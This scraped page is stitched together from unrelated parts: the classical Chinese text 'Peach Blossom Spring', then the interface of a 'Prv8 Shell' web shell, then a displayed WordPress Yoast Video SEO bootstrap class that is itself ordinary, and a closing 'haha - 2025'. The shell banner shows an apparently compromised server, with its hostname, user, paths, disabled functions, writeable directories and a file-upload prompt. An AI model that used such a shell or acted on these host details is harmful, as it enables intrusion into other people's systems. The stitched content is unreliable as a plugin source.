晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/wpseo-video/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/wpseo-video/classes/class-wpseo-video-bootstrap.php
<?php
/**
 * @package Yoast\VideoSEO
 */

/**
 * Bootstraps the Video SEO Module.
 *
 * Makes sure the environment has all the elements we need to be able to run.
 * Notifies the user when certain elements are missing.
 */
class WPSEO_Video_Bootstrap {
	/**
	 * Queued admin notices.
	 *
	 * @var array
	 */
	protected $admin_notices = array();

	/**
	 * Adds hooks to integrate with WordPress.
	 *
	 * @return void
	 */
	public function add_hooks() {
		// Always load the translations to make sure the notifications are translated as well.
		add_action( 'admin_init', array( 'WPSEO_Video_Utils', 'load_textdomain' ), 1 );

		$can_activate = $this->can_activate();
		if ( ! $can_activate ) {
			$this->add_admin_notices_hook();

			return;
		}

		$this->add_integration_hooks();
	}

	/**
	 * Shows any queued admin notices.
	 *
	 * @return void
	 */
	public function show_admin_notices() {
		if ( empty( $this->admin_notices ) ) {
			return;
		}

		if ( $this->is_iframe_request() ) {
			return;
		}

		foreach ( $this->admin_notices as $admin_notice ) {
			$this->display_admin_notice( $admin_notice );
		}
	}

	/**
	 * Adds hooks to load the video integrations.
	 *
	 * @return void
	 */
	protected function add_integration_hooks() {
		add_action( 'plugins_loaded', array( $this, 'load_metabox_integration' ), 10 );
		add_action( 'plugins_loaded', array( $this, 'load_sitemap_integration' ), 20 );
		add_action( 'plugins_loaded', array( $this, 'load_schema_integration' ), 20 );
	}

	/**
	 * Loads the metabox integration.
	 *
	 * @return void
	 */
	public function load_metabox_integration() {
		WPSEO_Meta_Video::init();
	}

	/**
	 * Loads the sitemap integration.
	 *
	 * @return void
	 */
	public function load_sitemap_integration() {
		$GLOBALS['wpseo_video_xml'] = new WPSEO_Video_Sitemap();
	}

	/**
	 * Loads the Schema integration.
	 *
	 * @return void
	 */
	public function load_schema_integration() {
		$GLOBALS['wpseo_video_schema'] = new WPSEO_Video_Schema();
	}

	/**
	 * Checks if the plugin can be activated.
	 *
	 * @return bool True if the plugin has the environment to work in.
	 */
	protected function can_activate() {
		if ( ! $this->is_spl_autoload_available() ) {
			$this->add_admin_notice(
				esc_html__(
					'The PHP SPL extension seems to be unavailable. Please ask your web host to enable it.',
					'yoast-video-seo'
				),
				true
			);
		}

		if ( ! $this->is_wordpress_up_to_date() ) {
			$this->add_admin_notice(
				esc_html__(
					'Please upgrade WordPress to the latest version to allow WordPress and the Video SEO module to work properly.',
					'yoast-video-seo'
				)
			);
		}

		if ( ! $this->is_yoast_seo_active() ) {
			$this->add_admin_notice( $this->get_wpseo_missing_error() );
		}

		// Allow beta version.
		if ( $this->is_yoast_seo_active() && ! $this->is_yoast_seo_up_to_date() ) {
			$this->add_admin_notice(
				sprintf(
					/* translators: $1$s expands to Yoast SEO. */
					esc_html__(
						'Please upgrade the %1$s plugin to the latest version to allow the Video SEO module to work.',
						'yoast-video-seo'
					),
					'Yoast SEO'
				)
			);
		}

		return empty( $this->admin_notices );
	}

	/**
	 * Retrieves the message to show to make sure Yoast SEO gets activated.
	 *
	 * @return string The message to present to the user.
	 */
	protected function get_wpseo_missing_error() {
		if ( ! $this->user_can_activate_plugins() ) {
			return $this->get_install_by_admin_message();
		}

		return $this->get_install_plugin_message();
	}

	/**
	 * Queues an admin notification.
	 *
	 * @param string $message    Message to be shown.
	 * @param bool   $use_prefix Optional. Use the default prefix or not.
	 *
	 * @return void
	 */
	protected function add_admin_notice( $message, $use_prefix = false ) {
		$prefix = '';

		if ( $use_prefix ) {
			$prefix = esc_html( $this->get_admin_notice_prefix() ) . ' ';
		}

		$this->admin_notices[] = $prefix . $message;
	}

	/**
	 * Registers the admin notices hooks to display messages.
	 *
	 * @return void
	 */
	protected function add_admin_notices_hook() {
		$hook = 'admin_notices';
		if ( $this->use_multisite_notifications() ) {
			$hook = 'network_' . $hook;
		}

		add_action( $hook, array( $this, 'show_admin_notices' ) );
	}

	/**
	 * Displays an admin notice.
	 *
	 * @param string $admin_notice Notice to display.
	 *
	 * @return void
	 */
	protected function display_admin_notice( $admin_notice ) {
		echo '<div class="error"><p>' . $admin_notice . '</p></div>';
	}

	/**
	 * Checks if the user can install or activate plugins.
	 *
	 * @return bool True if the user can activate plugins.
	 */
	protected function user_can_activate_plugins() {
		return current_user_can( 'install_plugins' ) || current_user_can( 'activate_plugins' );
	}

	/**
	 * Checks if the current request is an iFrame request.
	 *
	 * @return bool True if this request is an iFrame request.
	 */
	protected function is_iframe_request() {
		return defined( 'IFRAME_REQUEST' ) && IFRAME_REQUEST !== false;
	}

	/**
	 * Checks whether we should use multisite notifications or not.
	 *
	 * @return bool True if we want to use multisite notifications.
	 */
	protected function use_multisite_notifications() {
		return is_multisite() && is_network_admin();
	}

	/**
	 * Retrieves the plugin page URL to use.
	 *
	 * @return string Plugin page URL to use.
	 */
	protected function get_plugin_page_url() {
		$page_slug = 'plugin-install.php';

		if ( $this->use_multisite_plugin_page() ) {
			return network_admin_url( $page_slug );
		}

		return admin_url( $page_slug );
	}

	/**
	 * Checks if we should use the multisite plugin page.
	 *
	 * @return bool True if we are on multisite and super admin.
	 */
	protected function use_multisite_plugin_page() {
		return is_multisite() === true && is_super_admin();
	}

	/**
	 * Checks if SPL Autoload is available.
	 *
	 * @return bool True if SPL Autoload is available.
	 */
	protected function is_spl_autoload_available() {
		return function_exists( 'spl_autoload_register' );
	}

	/**
	 * Checks if WordPress is at a mimimal required version.
	 *
	 * @return bool True if WordPress is at a minimal required version.
	 */
	protected function is_wordpress_up_to_date() {
		return version_compare( $GLOBALS['wp_version'], '4.9', '>=' );
	}

	/**
	 * Checks if Yoast SEO is active.
	 *
	 * @return bool True if Yoast SEO is active.
	 */
	public function is_yoast_seo_active() {
		return defined( 'WPSEO_VERSION' );
	}

	/**
	 * Checks if Yoast SEO is at a minimum required version.
	 *
	 * @return bool True if Yoast SEO is at a minimal required version.
	 */
	protected function is_yoast_seo_up_to_date() {
		// At least 11.9, in which we've refactored the metabox API for addons.
		return $this->is_yoast_seo_active() && version_compare( WPSEO_VERSION, '11.9-beta0', '>=' );
	}

	/**
	 * Returns the admin notice prefix string.
	 *
	 * @return string The string to prefix the admin notice with.
	 */
	protected function get_admin_notice_prefix() {
		return __( 'Activation of Video SEO failed:', 'yoast-video-seo' );
	}

	/**
	 * Generates the message to display to install Yoast SEO by proxy.
	 *
	 * @return string The message to show to inform the user to install Yoast SEO.
	 */
	protected function get_install_by_admin_message() {
		return sprintf(
			/* translators: %1$s expands to Yoast SEO. */
			esc_html__(
				'Please ask the (network) admin to install & activate %1$s and then enable its XML sitemap functionality to allow the Video SEO module to work.',
				'yoast-video-seo'
			),
			'Yoast SEO'
		);
	}

	/**
	 * Generates the message to display to install Yoast SEO.
	 *
	 * @return string The message to show to inform the user to install Yoast SEO.
	 */
	protected function get_install_plugin_message() {
		$url = add_query_arg(
			array(
				'tab'                 => 'search',
				'type'                => 'term',
				's'                   => 'wordpress+seo',
				'plugin-search-input' => 'Search+Plugins',
			),
			$this->get_plugin_page_url()
		);

		return sprintf(
			/* translators: %1$s and %3$s expand to anchor tags with a link to the download page for Yoast SEO . %2$s expands to Yoast SEO. */
			esc_html__(
				'Please %1$sinstall & activate %2$s%3$s and then enable its XML sitemap functionality to allow the Video SEO module to work.',
				'yoast-video-seo'
			),
			'<a href="' . esc_url( $url ) . '">',
			'Yoast SEO',
			'</a>'
		);
	}
}

haha - 2025